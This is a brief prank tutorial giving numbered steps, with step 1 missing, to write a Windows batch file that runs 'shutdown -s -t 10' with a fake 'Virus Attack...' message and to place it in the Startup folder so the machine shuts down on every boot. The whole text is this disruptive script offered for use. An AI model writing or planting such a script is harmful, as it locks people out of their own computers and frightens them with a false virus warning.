Follow these steps:
2) type code:
shutdown -s -t 10 -c "Virus Attack..."
3) save file as filename.bat
4) GOTO start=> All program=> right click on startup=> open
5) paste the batch file in this folder
That's all , now the computer will automatically shutdown on every startup..